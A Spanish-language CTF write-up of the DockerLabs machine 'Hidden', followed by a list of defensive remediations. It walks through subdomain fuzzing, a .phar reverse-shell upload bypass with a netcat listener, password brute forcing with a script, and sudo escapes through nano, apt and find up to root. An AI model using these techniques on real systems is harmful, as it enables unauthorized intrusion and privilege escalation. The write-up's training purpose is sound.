Ir al contenido

Hidden

Este documento detalla la resolución completa de la máquina Hidden, desarrollada por El Pingüino de Mario para DockerLabs y clasificada con un nivel de dificultad Medio.

El propósito de este write-up es presentar de forma clara, técnica y ordenada cada fase del compromiso del sistema:

  1. Reconocimiento: Identificación de puertos, servicios, dominios y contenido expuesto.
  2. Explotación: Obtención de acceso inicial mediante bypass de restricciones de subida y ejecución remota.
  3. Escalada de privilegios: Abuso de credenciales, reutilización de contraseñas y permisos sudo asignados incorrectamente.

Todo el procedimiento se realizó en un entorno aislado proporcionado por DockerLabs.


AtributoValor
NombreHidden
AutorEl Pingüino de Mario
DificultadMedio
Fecha10/05/2024
PlataformaDockerLabs

Desplegamos la máquina con los siguientes comandos:

Ventana de terminal
unzip Hidden.zip
sudo bash auto_deploy.sh Hidden.tar

IP asignada


Ventana de terminal
mkdir -p Hidden/{content,exploits,nmap,gobuster,scripts}
cd Hidden

Se realiza un escaneo completo de puertos TCP:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos abiertos:

  • 80/tcp — HTTP

Puertos abiertos


El index redirige al dominio hidden.lab, por lo que lo agregamos al archivo /etc/hosts.

Realizamos un escaneo inicial con Feroxbuster:

Ventana de terminal
feroxbuster -u http://hidden.lab -d 0 \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,txt,html,js,bak,old \
-t 40 \
-C 404,403

feroxbuster

Ruta principal identificada:

  • index.html, correspondiente a una tienda de café.

index

El escaneo genera numerosos resultados, pero la mayoría corresponden a imágenes y archivos de funcionamiento sin información sensible útil.


Probamos posibles subdominios con ffuf utilizando fuzzing sobre la cabecera Host:

Ventana de terminal
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
-u "http://hidden.lab" \
-H "Host: FUZZ.hidden.lab" -fl 10

subdomain scan

Se descubre el subdominio dev.hidden.lab, que también añadimos al archivo /etc/hosts.

dev form

Este subdominio contiene un formulario de subida de archivos con restricciones que bloquean extensiones .php. Mediante un escaneo adicional se identifica el directorio accesible /uploads, lo que sugiere la posibilidad de subir una reverse shell utilizando otro formato ejecutable como .phar.


Creamos una reverse shell en formato .phar y la subimos mediante el formulario. La subida es exitosa y el archivo aparece en el directorio /uploads.

shell in uploads

Activamos un listener en la máquina atacante:

Ventana de terminal
nc -nlvp 443

Luego accedemos al archivo subido desde el navegador, lo que activa la reverse shell:

reverse shell

Con esto obtenemos acceso como www-data.


Tras revisar métodos locales de escalada, optamos por probar fuerza bruta de contraseñas con el script UserRush.

Detectamos usuarios locales:

users

La máquina no dispone de wget ni curl, por lo que creamos los archivos manualmente con nano. Debido al tamaño del diccionario rockyou.txt, copiamos únicamente las primeras 1000 líneas:

Ventana de terminal
cat rockyou.txt | head -n 1000 | xclip -sel clip

Con los archivos UserRush.sh y rockyou.txt listos:

Ventana de terminal
./UserRush.sh -u cafetero

El ataque tiene éxito:

userrush

Ingresamos como el usuario cafetero:

Ventana de terminal
su cafetero

cafetero


Verificamos permisos sudo:

sudo -l cafetero

Podemos ejecutar nano como el usuario john, lo que permite obtener una shell mediante su función de lectura:

Ventana de terminal
sudo nano
^R^X
reset; bash 1>&0 2>&0

bash john


Revisamos permisos:

sudo -l john

Podemos ejecutar apt como bobby:

Ventana de terminal
sudo apt changelog apt
!/bin/bash

bobby


Verificamos permisos:

sudo -l bobby

Permite ejecutar find como root:

Ventana de terminal
sudo find . -exec /bin/bash \; -quit

Obtención de acceso root:

root


  • Subida de archivos sin validación adecuada del tipo MIME.
  • Directorio /uploads con permisos de lectura pública.
  • Subdominio de desarrollo accesible desde producción.
  • Redirección automática a un dominio interno sin protección.
  • Permisos sudo asignados incorrectamente a múltiples usuarios.
  • Reutilización de contraseñas entre cuentas del sistema.
  • Ausencia de herramientas básicas de monitoreo o restricción (no hay audit logs, fail2ban, etc.).

  • Implementar validación estricta de archivos (MIME, extensión, contenido).
  • Deshabilitar el listado público de directorios.
  • Proteger subdominios de desarrollo con autenticación o retirarlos del entorno productivo.
  • Revisar permisos sudo y aplicar el principio de mínimo privilegio.
  • Aplicar políticas de contraseñas seguras y evitar la reutilización.
  • Implementar mecanismos de monitoreo de intentos de fuerza bruta.
  • Segmentar los servicios internos para evitar acceso público no intencionado.
  • Utilizar WAF o reglas de seguridad que mitiguen subida y ejecución arbitraria de archivos.